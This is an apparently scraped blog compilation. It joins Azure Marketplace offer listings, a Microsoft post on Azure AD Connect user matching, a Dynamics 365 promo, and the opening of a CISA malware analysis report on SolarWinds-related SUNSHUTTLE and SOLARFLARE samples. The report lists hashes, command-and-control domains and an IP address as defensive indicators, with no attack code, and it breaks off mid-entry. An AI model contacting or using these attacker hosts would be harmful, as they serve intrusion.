Pachyderm Enterprise: Pachyderm is an enterprise-grade data science platform built on Kubernetes. Deploy a Pachyderm cluster on Microsoft Azure and deploy automated machine learning workflows at scale.


PCGAnalytics.png

PCG Analytics: This service enables strategic decision-making and reporting for stakeholders inside and outside of a university. Built on Microsoft Power BI, PCG Analytics integrates with external data sources, provides role-based dashboards, and delivers comprehensive data analysis for non-technical users.


ProjecttoPlannerSync-SaaS.png

Project to Planner Sync – SaaS: PPM Works’ Microsoft Project and Planner Sync enables two-way task synchronization between Microsoft Project Online and Microsoft Planner. Give your executives the visibility they seek with this powerful tool.


PublicFinanceManager.png

Public Finance Manager: Public Finance Manager (PFM) is a blockchain solution that addresses long-standing issues challenging public finance management. PFM integrates with existing ERP systems and facilitates viewing and reconciliation of appropriation and management frameworks.


Python3withDebian10.png

Python 3 with Debian 10: Cognosys has pre-configured this ready-to-run image containing Python 3.7.3 on Debian 10 Linux. Python is an open-source programming language with support for object-oriented programming, dynamic typing, and dynamic binding.


QStockWarehouseManagementandOrderManagement.png

QStock Warehouse Management & Order Management: The QStock warehouse management solution runs on Microsoft Azure and integrates in real time with Sage Intacct. QStock offers inventory control, integrated shipping, lot and serial tracking, e-commerce support, commercial invoices, and more.


Restaurantintra.png

Restaurantintra: Restaurantintra is a SaaS-based sales reporting solution for restaurants. The software provides mobile-friendly interactions, support for multiple restaurants, sales analysis, reporting, and budgeting. This software is available in Finnish and English.


RiskIntegrityIFRS17.png

RiskIntegrity IFRS 17: RiskIntegrity helps insurers of any size transition from legacy accounting frameworks to the IFRS 17 standard. The solution integrates with existing infrastructure and supports credit insurers, reinsurers, life insurers, and non-life insurers.


RiskIntegrityLDTI.png

RiskIntegrity LDTI: RiskIntegrity helps insurers of any size transition from legacy accounting frameworks to the Long-Duration Targeted Improvements (LDTI) accounting requirements. The solution integrates with existing infrastructure and supports credit insurers, reinsurers, life insurers, and non-life insurers.


RockyDEM44.png

Rocky DEM 4.4: CrunchYard’s Rocky DEM 4.4 System is a Microsoft Azure-based VM that provides a suitable environment for users to run Rocky DEM simulations with single or multiple Nvidia GPUs. Rocky is installed and configured on the chosen VM along with Nvidia CUDA drivers.


SimplificaCI.png

SimplificaCI: The SimplificaCI platform helps organizations facilitate internal communications across multiple channels, making your company more productive and profitable. The solution integrates with desktop, mobile, calendar, and email communications. This solution is available only in Portuguese.


SkyHiveEnterprise.png

SkyHive Enterprise: SkyHive Enterprise drives rapid workforce transformation by delivering real-time, skill-level insights into internal workforces and external labor markets, identifying future skills, and facilitating individual-and company-level reskilling.


UnionBenefitandProjectTimesheetTracker.png

Union Benefit and Project Timesheet Tracker: Simplify your union payroll with the Data Pros Timesheet app, built on Microsoft SharePoint and the Microsoft Power Platform. This automation software integrates with popular payroll systems and calculates union benefit payments, insurance, USL&H, and more.


UtilityWave.png

UtilityWave: UtilityWave delivers the required capabilities to tackle the challenges of multiple legacy systems, IoT devices, and a dynamic energy grid. UtilityWave utilizes Microsoft Azure to provide a scalable platform on which utilities can build digital energy services.


VeritasAPTAREITAnalytics.png

Veritas APTARE IT Analytics: Quickly deploy Veritas APTARE IT Analytics for reporting insights into your hybrid cloud storage environment. This BYOL version provides the visibility enterprises need to identify underutilized IT resources they can repurpose to achieve significant cost savings.


VolunteerManagementSystem.png

Volunteer Management System: Web Synergies’ iVolunteer is an end-to-end volunteer management system that is designed to help not-for-profit organizations increase efficiency, reduce costs, expand community outreach, and enable effective fundraising.


WordpressWithDebian10.png

WordPress with Debian 10: Cognosys has pre-configured this ready-to-run image featuring WordPress 5.6.2 on Debian 10 Linux. WordPress is an open-source CMS that provides a templating system for content publication. This image includes MySQL Server 8.0.23, Apache HTTP Server 2.4.38, and PHP 7.3.



 


Consulting services


 


1-DaySmartMaintenanceEnvisioningWorkshop.png

1-Day Smart Maintenance Envisioning Workshop: HSO will guide you on the journey from preventive maintenance to predictive maintenance by using Microsoft Azure AI. After reviewing your business objectives, HSO consultants will brainstorm solutions to define the strategy needed to drive your desired business outcomes.


AdvancedAnalyticsDiscovery10-WeekWorkshop.png

Advanced Analytics Discovery: 10-Week Workshop: The Advanced Analytics Discovery program from Peak Indicators will architect and deliver a blueprint for your organization to deploy a solution on Microsoft Azure using services such as Azure Machine Learning, Azure Databricks, and Azure Synapse Analytics.


AIandAdvancedAnalyticsServices10-WeekProofofConcept.png

AI & Advanced Analytics Services: 10-Week Proof of Concept: Tiger Analytics will help you drive planning and optimization of brand investments to improve sales, customer acquisition, customer insights, product analytics and more. The data engineering service includes the design and development of an ETL pipeline using Azure Machine Learning services.


AzureAdvancedAnalytics10-WeekImplementation.png

Azure Advanced Analytics: 10-Week Implementation: Peak Indicators will work closely with your data science teams to deliver a pilot analytics solution built on Microsoft Azure. The engagement will focus on a use case defined with your stakeholders, development of a solution, and deployment of data science experiments and models.


AzureAppModernization2-WeekImplementation.png

Azure App Modernization: 2-Week Implementation: Softlanding’s engagement covers the benefits of Microsoft Azure and highlights Azure services that will help you modernize your applications. This offer includes guidance and deployment assistance for your developers to update on application to use Azure.


AzureApplicationMigration1-WeekAssessment.png

Azure Application Migration: 1-Week Assessment: PetaBytz’s cloud migration team will help your business get started using Microsoft Azure or optimize your current implementation. The service includes guidance on infrastructure, migration strategy for apps, and a high-level roadmap for migration planning.


AzureAutomation4-HourAssessment.png

Azure Automation: 4-Hour Assessment: In this free assessment, akquinet AG will explore the possibilities for you to automate tasks using automation tools on Microsoft Azure. This service is available for either an existing Azure tenant or a planned environment.


AzureMigration10-WeekImplementation.png

Azure Migration: 10-Week Implementation: Cybercom Group’s Cloud Migration Practice will onboard you and your applications on Microsoft Azure to enable further growth. Cybercom will migrate and modernize your digital estate.


AzureSentinel2-WeekImplementationandMaintenance.png

Azure Sentinel: 2-Week Implementation & Maintenance: Softlanding will provide you with a high-level view of your security infrastructure by deploying Microsoft Azure Sentinel, hardening your Microsoft 365 environment, and configuring baseline security reports.


AzureSynapseAnalytics5-DayImplementation.png

Azure Synapse Analytics: 5-Day Implementation: Softlanding will provide you with a strong foundation to analyze big data using Microsoft Azure Synapse Analytics and create reports built on Microsoft Power BI. This service includes data ingestion, design of data lake and data warehouse, and data cleansing.


AzureWindowsVirtualDesktop6-WeekProofofConcept.png

Azure Windows Virtual Desktop: 6-Week Proof of Concept: Stay ahead of the curve by utilizing Practical Solutions Inc.’s professional services to quickly unlock the full scope of Windows Virtual Desktop on Microsoft Azure. Practical Solutions will develop a conceptual proof of concept and deliver a roadmap for deployment.


BuildUpwithAzure-AssessmentandPropositions5-Day.png

Build Up with Azure: 5-Day Assessment & Propositions: Indacon offers a remote engagement to build up or integrate your solutions on Microsoft Azure. Indacon will identify how you can migrate or optimize environments and will define a roadmap to provide you with immediate benefits in cost, performance, and security.


CloudAdoptionFramework6-WeekImplementation.png

Cloud Adoption Framework: 6-Week Implementation: Practical Solutions Inc. (PSI) will highlight the best practices, key value, and benefits of Microsoft Azure cloud services. PSI will walk you through the Microsoft Cloud Adoption Framework, guide you through adoption, and identify key cost-saving opportunities.


CloudServicesforAzureLighthouse.png

Cloud Services for Azure Lighthouse: Practical Solutions Inc. (PSI) will support your Azure-based cloud services using Microsoft Azure Lighthouse. With Azure Lighthouse, you maintain control of your Azure tenant while PSI has the access required to support you.


ContainerswithOpenShiftonAzureImplementation.png

Containers with OpenShift on Azure: Implementation: Uni Systems provides consulting and assistance for you transition to a container-based architecture for DevOps using Red Hat OpenShift on Microsoft Azure. The engagement includes assistance in establishing DevOps practices, configuring CI/CD pipelines, cluster optimization, and more.


DataGovernance10-WeekImplementation.png

Data Governance: 10-Week Implementation: Exelegent will implement security and information governance capabilities in your healthcare organization by using Microsoft Azure Information Protection, cybersecurity frameworks, and industry best practices.


GitHubandAzureDevOps2-DayWorkshop.png

GitHub and Azure DevOps: 2-Day Workshop: Brainscale will highlight features of GitHub and Microsoft Azure DevOps to help participants decide which developer collaboration platform suits their needs. This workshop includes an overview of DevOps fundamentals and industry practices, as well guidance on migrating from older source control platforms.


MigratetoAzure4-WeekImplementation.png

Migrate to Azure: 4-Week Implementation: Foghorn Consulting experts will help you migrate to Microsoft Azure and manage your cloud operations. Foghorn provides expertise in cloud engineering, site reliability, performance optimization, and other services to improve your ROI and accelerate DevOps efforts.


MOQdigitalAzureMigration2-WeekImplementation.png

MOQdigital Azure Migration: 2-Week Implementation: MOQdigital will migrate your virtual machines to Microsoft Azure IaaS. This service is aimed at customers who want to migrate workloads in a secure manner and establish a repeatable process for server migration using Microsoft best practices.


MphasisEONQuantumComputing5-DayAssessment.png

Mphasis EON Quantum Computing: 5-Day Assessment: Mphasis’s assessment helps enterprises perform a structured analysis to determine if using quantum computing is a relevant approach for solving your specific business problem. Mphasis will evaluate software, hardware, and algorithm requirements for you.


MphasisEONQuantumComputing5-DayWorkshop.png

Mphasis EON Quantum Computing: 5-Day Workshop: Mphasis’s hands-on workshop helps enterprises create a roadmap for using quantum computing to solve business problems in machine learning, optimization, and simulation.


MphasisEONQuantumComputing6-WeekProofofConcept.png

Mphasis EON Quantum Computing: 6-Week Proof of Concept: Mphasis will create a proof of concept to establish a business case for a quantum computing solution to solve your critical business problem. This offer is led by Mphasis’s team of experts in quantum computing, data science, and Microsoft Azure.


SmartMeterAnalytics8-WeekImplementation.png

Smart Meter Analytics: 8-Week Implementation: Neudesic will process, validate, and prepare smart meter data for visualization and analysis on a hybrid cloud architecture that utilizes on-premises Microsoft SQL Server and Microsoft Power BI with Microsoft Azure HDInsight.


VOIPNETWORKSCLOUD9PROMO.png

VoIP Networks Cloud9 Promotion: VoIP Networks will act as your one-stop vendor for all facets of your telephony and networking technologies. This offer includes a central point of contact for all common carriers to maintain existing services or coordinate activation of new ones.



Hybrid Identity: Getting Users Aligned

Hybrid Identity: Getting Users Aligned

This article is contributed. See the original author and article here.

 


Hey folks, Eric Woodruff here – Customer Engineer still living and breathing in the world of Azure Active Directory.


 


Today we are going to dive into the specifics of how user accounts in Active Directory are matched to user accounts in Azure Active Directory.


 


For organizations that started their Azure AD journey with services such as Office 365, the implementation of Azure AD Connect (now including Azure AD Connect Cloud Sync) is relatively low effort when there is not an existing stake in the cloud.


 


On the flip side, when working with organizations that have already been on their cloud journey, but never synchronized their Azure AD (AAD) tenant with Active Directory (AD), there is more concern about how this process works when the same user exists in both directories.


 


And with this concern comes some common questions, which I hope to bring some clarity to here.


 


Before we jump into things, note that we have some excellent documentation that covers a lot of the details of this as well, which can be found here:


Azure AD Connect: When you already have Azure AD | Microsoft Docs


 


Is configuring Azure AD Connect “destructive”?


While the term destructive can be interpreted a few ways, the sum of the question is whether existing user accounts in the Azure AD tenant will be deleted or overwritten by Azure AD Connect.


 


One of the main reasons behind this question, is the concern that users already have group membership, RBAC roles assigned, applications they are accessing, and so on; losing this would require having to reconfigure these assignments.


 


The answer is no – Azure AD Connect synchronizes in a way such that any existing AAD users (referred to as cloud-mastered, but also informally as “cloud-only” or “cloud-sourced”) will remain in the directory, and new user objects from Active Directory will be created in the cloud.


 


What about when the same user already exists in both places?


Before we talk about how user account matching happens, let’s get a quick background on what defines object uniqueness within directories.


 


Object Uniqueness


In both AD and AAD, every object has an immutable ID – a unique attribute that persists for the lifetime of the user object. The immutable ID attribute in AAD is ObjectId; in AD it is objectGUID. And while many times we are used to referring to on-premises user objects in terms of their SID (security Identifier), from a directory perspective the immutable ID is what represents object uniqueness.


 


Because these values are what represent a unique user object, it’s what allows you to change the User Principal Name (UPN), or on-premises samAccountName, and all the groups, ACL’s, and everything assigned to that user object remain.


 


How Azure AD aligns user objects


If you inspect ObjectId and objectGUID, you will notice these attributes are not the same, both in format as well as value. It is up to AAD and/or Azure AD Connect to align existing user objects, which is based on sourceAnchor. Technically the attribute name is ImmutableId in AAD, sourceAnchor in the metaverse in Azure AD Connect, and usually (but not always) mS-DS-ConsistencyGuid in Active Directory. Logically immutable ID and sourceAnchor terminology can be used interchangeably when discussing the attribute that represents the tie between the AAD and AD user object.


 


If the user object is new, then by default Azure AD Connect will take the objectGUID of the user object, calculate the Base64 of the value, and then write it to the user object mS-DS-ConsistencyGuid attribute in AD.


 


Certain customer scenarios may call for using a different attribute as the data source for sourceAnchor from Active Directory, but generally customers should allow Azure AD Connect to manage this for their environment.


You can read further about sourceAnchor within Azure AD Connect here:


Azure AD Connect: Design concepts | Microsoft Docs


 


Handling the duality issue


The background on sourceAnchor helps paint the picture when we start to talk about user matching. We have two types of object matching within Azure AD – soft-matching and hard-matching.


 


Soft-matching


Soft-matching is the case where we attempt to match two disparate user objects without existing sourceAnchor information; Azure AD will attempt to match user objects based on either UPN or email address.


 


Soft-match by UPN

Here we are going to look at soft-matching based on the UPN. We have our user, Lee Gu, existing as a cloud-mastered user – Lee has no ImmutableId, and Directory synced is no (keyed off the hidden attribute cloudMastered being true).


 


Eric_Woodruff_0-1618498906985.png


 


Eric_Woodruff_1-1618498906989.png


 


To synchronize Lee, we will need to move the user object into an OU that is scoped for synchronization by Azure AD Connect, but first let’s look at the user data – note that mS-DS-ConsistencyGuid is empty.


 


Eric_Woodruff_2-1618498906991.png


 


While not required for the match itself, if we want to see what the sourceAnchor of Lee is going to be, we can leverage a quick PowerShell command:


 

[system.convert]::ToBase64String(([guid](get-aduser -identity $_).objectguid).ToByteArray())

 


 


Eric_Woodruff_3-1618498906993.png


 


Because we are impatient, we force a delta sync of Azure AD Connect, and check out the results of the UPN soft-match.


 


Eric_Woodruff_4-1618498906996.png


 


Eric_Woodruff_5-1618498906997.png


 


Eric_Woodruff_6-1618498906998.png


 


Key Takeaways:



  • The user object has been changed to a directory synchronized user account; cloudMastered has been changed from true to false.

  • User attributes from AD have flown through and updated on the user object in AAD; this is because AD is the authoritative directory.

  • The ImmutableId/sourceAnchor we calculated matches what was calculated by Azure AD Connect and written to AAD, as well as populated in AD for mS-DS-ConsistencyGuid.

  • The ObjectId in AAD has not changed. This is one is critical in showing that, whatever Lee had access to prior, that access will persist.


 

Soft-match by mail

This time we are going to look at soft-matching by the email address. We have our user, Foster Caleb, existing as a cloud-mastered user – Foster has no ImmutableId, and Directory synced is no.


 


Eric_Woodruff_7-1618498906999.png


 


Eric_Woodruff_8-1618498907000.png


 


Before we move Foster into scope for synchronization, let’s look at the user account in AD. Note that the UPN does not match between the directories, but the mail attribute does.


 


Eric_Woodruff_9-1618498907002.png


 


After our Azure AD Connect delta sync, let’s examine the results of the soft-match by mail. Because the UPN has changed, in AAD we must either query by the ObjectId or the updated UPN for our results.


 


Eric_Woodruff_10-1618498907005.png


 


Eric_Woodruff_11-1618498907007.png


 


Eric_Woodruff_12-1618498907011.png


 


Eric_Woodruff_13-1618498907012.png


 


Key Takeaways:



  • The user object has been changed to a directory synchronized user account; cloudMastered has been changed from true to false.

  • User attributes from AD have flown through and updated on the user object in AAD, including the UPN; this is because AD is the authoritative directory.

  • The ImmutableId/sourceAnchor has been calculated and populated in AAD and AD.

  • The ObjectId in AAD has not changed. This is one is critical in showing that, whatever Foster had access to prior, that access will persist.


 


Hard-matching


Unlike soft-matching, hard-matching is more common when we are discussing DR scenarios for Azure AD Connect, or cross-forest user migrations. In our example, however, we are going to show how hard-matching can effectively match two user objects that have neither a matching UPN nor email address.


 


A word of caution – incorrectly setting the wrong ImmutableId can cause cascading negative impact on users, which can flow into not just AAD, but also Exchange Online, as well as other services and applications that consume and key off UPN or email address.


 


We have our user, Lidia Holloway, existing as a cloud-mastered user – Lidia has no ImmutableId, and Directory synced is no. Note that the user object in AAD has no matching UPN nor email address in AD.


 


Eric_Woodruff_14-1618498907013.png


 


Eric_Woodruff_15-1618498907014.png


 


Eric_Woodruff_16-1618498907015.png


 


Before moving Lidia under scope for synchronization, we need to generate the ImmutableId and write it to AAD; it’s important to do this prior to scoping the user object for sync, otherwise it will just be created as a new user in AAD. Keying off the objectGUID in AD, we calculate and write the value for ImmutableId in AAD.


 


Eric_Woodruff_17-1618498907017.png


 


We run our Azure AD Connect delta sync and examine the results of the match.


 


Eric_Woodruff_18-1618498907019.png


 


Eric_Woodruff_19-1618498907019.png


 


Eric_Woodruff_20-1618498907021.png


 


Key Takeaways:



  • The user object has been changed to a directory synchronized user account; cloudMastered has been changed from true to false.

  • User attributes from AD have flown through and updated on the user object in AAD, including the UPN and mail; this is because AD is the authoritative directory.

  • The ObjectId in AAD has not changed. This is one is critical in showing that, whatever Lidia had access to prior, that access will persist.


 


What else is important to know about matching?


 


Be careful with email address matching.


Email address matching has potentially higher ramifications on the user object. Many Enterprise Applications consume the UPN as the Name ID claim, which defines the uniqueness of the user object; if this has changed the application may see the user as a new user. If Azure AD Provisioning handles user object synchronization to the application, it can usually manage these changes, but manual user provisioning or just-in-time (JIT) may see the user as a different object.


 


Users with administrative roles in Azure AD will bypass matching.


To prevent unaccounted for account takeover of roles with privilege assignment, any user object that has an admin role assigned in AAD will be bypassed for matching.


Speaking of administrative roles and synchronization in general, highly privileged user accounts should be separated out from regular user accounts. Further, privileged accounts should be cloud-mastered, to prevent account takeover, as well as bypass dependencies on federated identity providers. For more information about protecting Azure AD from on-premises attack vectors, refer to this blog post by our Alex Weinert:


Protecting Microsoft 365 from on-premises attacks – Microsoft Tech Community


 


Groups and Contact objects work too.


If the group or contact has a mail address populated, they can be soft-matched based on this attribute. We can’t set the ImmutableId on these objects, so we don’t have a method of providing for hard-matching.


 


Understanding where matches are evaluated.


Soft-matching happens in Azure AD, which is why a user will show as an add in Azure AD Connect instead of an update. Hard-matching can be performed by Azure AD Connect, which helps expedite directory re-synchronization in the event of a disaster; this also helps accelerate the process of standing up a staging server for Azure AD Connect and having existing users matched.


 


Happy Matching!


For those that are either starting their cloud journey, apprehensive about connecting their directories, or just curious about how things work under the hood, I hope this post helps shed some light.

New features personalize customer experiences in Dynamics 365 Customer Voice

New features personalize customer experiences in Dynamics 365 Customer Voice

This article is contributed. See the original author and article here.

In a rapidly changing landscape, interactions between customers and organizations have become the cornerstone to bottom-line success and brand loyalty. That’s why Microsoft Dynamics 365 Customer Voice empowers organizations to easily scale feedback capture for agile responses and personalized customer experiences, all in a robust feedback management solution.

With the 2021 release wave 1 updates for Dynamics 365 Customer Voice, we’ve enhanced our personalization and analysis capabilities, making it easier than ever to understand your customers and build better experiences.

Personalize every interaction with customers

Enhanced survey header customization for maintaining a consistent brand identity

Understanding customers begins with capturing the right data in the right place at the right time. Dynamics 365 Customer Voice empowers feedback collection across every channel; from email to web, SMS, and QR codes. Now, we are bringing custom survey headers to the survey creation process giving organizations more flexibility and personalization in their outreach to customers.

Creating a survey with colorful and lifestyle header images to select from within Dynamics 365 Customer Voice

Users can now upload custom images or select from ready-made images for more beautiful surveys. New features such as formatted text, alignment, color selection, sizing, and cropping let organizations stay consistent in how their brand looks, feels, and resonates with customers.

Editing the survey header within Dynamics 365 Customer Voice

Simplified and customizable data analysis for agile decision making

Data analysis can be intimidating and time-consuming, and in today’s world organizations need to be quick to stay ahead of the competition. Dynamics 365 Customer Voice is easy to use, making it stress-free to surface rich insights about customers. With this update, we are bringing custom survey scoring to the data analysis process, empowering users to create and unlock the insights that matter to their business.

Editing and making custom scores in the scoring panel within Dynamics 365 Customer Voice

Users can now create and customize their own satisfaction metrics by assigning point values to questions. Directly within the dashboard, users can create a scoring index and calculate average points across questions, allowing them to analyze data in their preferred way. These scored responses make it easier to uncover the trends and rich insights about customers so organizations can make better and quicker customer engagement decisions.

Data visualized in the Dynamics 365 Customer Voice dashboard

Other updates to Dynamics 365 Customer Voice from attaching a file, over surveyed management, and pause and resume surveys, are now available to view on our 2021 release wave 1 for Dynamics 365 Customer Voice documentation.

Transform how you understand customers with partner solutions

Alongside the built-in capabilities of Dynamics 365 Customer Voice, our partner ecosystem brings enhanced solutions, templates, and workflows to create a comprehensive customer experience solution. These added capabilities expand how organizations understand customers and transform engagement in the moments that matter.

Clarabridge

Our partnership with Clarabridge, through the Microsoft Business Applications ISV Connect program, provides organizations with more complete insights about their customers’ experiences by unifying survey feedback along with calls, chats, messages, emails, social, and more. Clarabridge offers an omnichannel best-in-class natural language understanding AI engine that uncovers valuable insights about customer sentiment, effort, intent, loyalty, and emotion. The fully integrated solution enables organizations to drive action by automatically identifying friction and high-effort touchpoints along the customer journey, reducing customer churn, and diving into the root cause of traditional key performance metrics such as NPS, CSAT, and customer lifetime value. This information is then made available for issue tracking, aggregated reporting, and close loop case management in Microsoft Dynamics 365. Learn more about the Clarabridge and Dynamics 365 Customer Voice solution.

Download the Clarabridge and Microsoft Datasheet.

This embed requires accepting cookies from the embed’s site to view the embed. Activate the link to accept cookies and view the embedded content.

This site uses cookies for analytics, personalized content and ads. By continuing to browse this site, you agree to this use.

Solgari

Solgari brings real-time customer feedback through voice and text to Dynamics 365 Customer Voice so organizations can quickly deploy secure, compliant, and scalable surveys to customers. Now available, organizations can utilize Solgari to automate phone and SMS surveys directly within the application using survey questions, workflow, and reporting functions. Customer feedback is captured instantly and integrated directly within Dynamics 365 Customer Voice where the Microsoft Power BI dashboard can surface rich insights about customers. This solution enables businesses to have more effective decisions across any use casecustomer, prospect, staff, and student feedback. Phone and SMS surveys typically have a higher response rate, and now with Solgari and Dynamics 365 Customer Voice, organizations can be flexible and more personalized in their feedback capture. Learn more about the Solgari and Dynamics 365 Customer Voice solution.

This embed requires accepting cookies from the embed’s site to view the embed. Activate the link to accept cookies and view the embedded content.

This site uses cookies for analytics, personalized content and ads. By continuing to browse this site, you agree to this use.

Understand your customers like never before

Dynamics 365 Customer Voice is here to help you deliver value to your customers by truly understanding them and responding in the moments that matter. We are continually making product updates, from privacy improvements in January to orchestrating customer journeys at Spring Ignite, and deeper integrations with other Dynamics 365 applications. We are excited about the future of Dynamics 365 Customer Voice as a complete feedback management solution that can transform customer engagement, drive a customer-centric culture, and deliver better business outcomes for your organization. Learn more about Dynamics 365 Customer Voice.

Interested in a demo of Dynamics 365 Customer Voice and our partner solutions? Contact customervoice@microsoft.com.

Download our latest e-book to learn more about understanding your customers or sign up for a free trial of Dynamics 365 Customer Voice. See available offers that will help empower organizations to evolve their customer experience approach.

The post New features personalize customer experiences in Dynamics 365 Customer Voice appeared first on Microsoft Dynamics 365 Blog.

Brought to you by Dr. Ware, Microsoft Office 365 Silver Partner, Charleston SC.

CISA and CNMF Analysis of SolarWinds-related Malware

This article is contributed. See the original author and article here.

CISA and the Department of Defense (DoD) Cyber National Mission Force (CNMF) have analyzed additional SolarWinds-related malware variants—referred to as SUNSHUTTLE and SOLARFLARE. One of the analyzed files was identified as a China Chopper webshell server-side component that was observed on a network with an active SUNSHUTTLE infection. The webshell can provide a cyber threat actor an alternative method of accessing a network, even if the SUNSHUTTLE infection was remediated.

The U.S. Government attributes this activity to the Russian Foreign Intelligence Service (SVR).

CISA encourages users and administrators to review Malware Analysis Report MAR-10327841-1.v1, U.S. Cyber Command’s VirusTotal page, and the following resources for more information: 

MAR-10327841-1.v1 – SUNSHUTTLE

MAR-10327841-1.v1 – SUNSHUTTLE

This article is contributed. See the original author and article here.

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.cisa.gov/tlp.

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Cybersecurity and Infrastructure Security Agency (CISA) and the Cyber National Mission Force (CNMF) of U.S. Cyber Command. This report provides detailed analysis of several malicious samples and artifacts associated with the supply chain compromise of SolarWinds Orion network management software, attributed by the U.S. Government to the Russian SVR Foreign Intelligence Service (APT 29, Cozy Bear, The Dukes). CISA and CNMF are distributing this MAR to enable network defense and reduced exposure to malicious activity. This MAR includes suggested response actions and recommended mitigation techniques.

This report analyzes eighteen (18) files categorized by their associative behavior and structured configurations.

Seven (7) of the analyzed files are executables that attempt to connect to hard-coded command and control (C2) servers using Hypertext Transfer Protocol Secure (HTTPS) on port 443 and await a response upon execution.
   • Three (3) executables written in Golang (Go) and packed using the Ultimate Packer for Executables (UPX) were identified by the security company FireEye as SOLARFLARE malware. One (1) of which was unpacked and included in this report.
   • Four (4) executables written in Go were identified by FireEye as SUNSHUTTLE. Two (2) of which were unpacked and included in this report.

One (1) file is a text file that appears to be a configuration file for a SUNSHUTTLE sample.
Six (6) files are Visual Basic Script (VBScript) files designed to add the Windows registry keys to store and execute an obfuscated VBScript to download and execute a malicious payload from its C2 server. The VBScripts were identified as MISPRINT/SIBOT.
One (1) file was identified as a China Chopper webshell server-side component. The webshell was observed on a network with an active SUNSHUTTLE infection, which would provide the actor with an alternative method of accessing the network if the SUNSHUTTLE infection was remediated.

For more information on SolarWinds-related activity visit: https://us-cert.cisa.gov/remediating-apt-compromised-networks.

For a downloadable copy of IOCs, see: MAR-10327841-1.v1.stix

Click here for a PDF version of this report.

Submitted Files (14)

0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9 (finder.exe)

0d770e0d6ee77ed9d53500688831040b83b53b9de82afa586f20bb1894ee7116 (owafont.aspx)

4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec (bootcats.exe)

6b01eeef147d9e0cd6445f90e55e467b930df2de5d74e3d2f7610e80f2c5a2cd (f3.exe)

7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb ( rundll32registry_createremote…)

88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07 (prnmngrz.vbs)

94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45 (Lexicon.exeUnPacked)

acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66 (rundll32registry_schtaskdaily….)

b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8 (Lexicon.exe)

cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c (prndrvrn.vbs)

e9ddf486e5aeac02fc279659b72a1bec97103f413e089d8fabc30175f4cdbf15 (rundll32file_schtaskdaily.vbs)

ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def (SchCachedSvc.exe)

f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c (WindowsDSVC.exe)

f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2 (f2.exe)

Additional Files (4)

a9037af30ff270901e9d5c2ee5ba41d547bc19c880f5cb27f50428f9715d318f (Final_vbscript.vbs)

bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df (runlog.dat.tmp)

d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d (finder.exe_Unpacked)

fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836 (WindowsDSVC.exe_Unpacked)

Domains (5)

eyetechltd.com

megatoolkit.com

nikeoutletinc.org

reyweb.com

sense4baby.fr

IPs (1)

185.225.69.69

Findings

0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9

Tags

trojan

Details
Name finder.exe
Size 1940480 bytes
Type PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5 1d97d76afefaa09556683c2fcd875baa
SHA1 90651ee3dde5fe80ec52f13c487715bb5f04f6b6
SHA256 0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9
SHA512 effca75ac9103f23006efa7fbb8e3fea2a1f426f63d0153bbce286c0262d5a470e206beb0fb6a67ec963fddbd556790bcd0432a96aa8b7ce6060be46124378cd
ssdeep 49152:o7fPmMDelNw0jQRtsBbsj3IpWrmxkpe14yn8:UWrQRtMpge2yn
Entropy 7.873884
Antivirus
BitDefender Gen:Variant.Bulz.284134
Emsisoft Gen:Variant.Bulz.284134 (B)
Ikarus Trojan.Win64.Rozena
Lavasoft Gen:Variant.Bulz.284134
Microsoft Security Essentials Trojan:Win64/GoldFinder.A!dha
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 1969-12-31 19:00:00-05:00
Import Hash e58ab46f2a279ded0846d81bf0fa21f7
PE Sections
MD5 Name Raw Size Entropy
5c227744852a6ceb12cdb8d238e6d89a header 512 2.467962
d41d8cd98f00b204e9800998ecf8427e UPX0 0 0.000000
9f091240d6d7fcdcffa6dae025085ffd UPX1 1939456 7.874501
50620caa4cae52ec3a75710e0140e092 UPX2 512 1.661240
Relationships
0affab34d9… Contains d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d
Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. The executable is UPX packed and when executed, the application will unpack and execute (d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d) in memory.

d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d

Tags

trojan

Details
Name finder.exe_Unpacked
Size 4947968 bytes
Type PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5 86e0f3071c3b3feecf36ea13891633fb
SHA1 9f9f3b73e586e376fd81c6bdb75476fc3d37789c
SHA256 d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d
SHA512 a3cb2771a7fe2419621865230cecf4105e5323e9e99edc7f863b7dea9db0646647b2a83c9e5b99ef0c92a58d890c1fc18069d24f3d3704396cc9af1c5b03c849
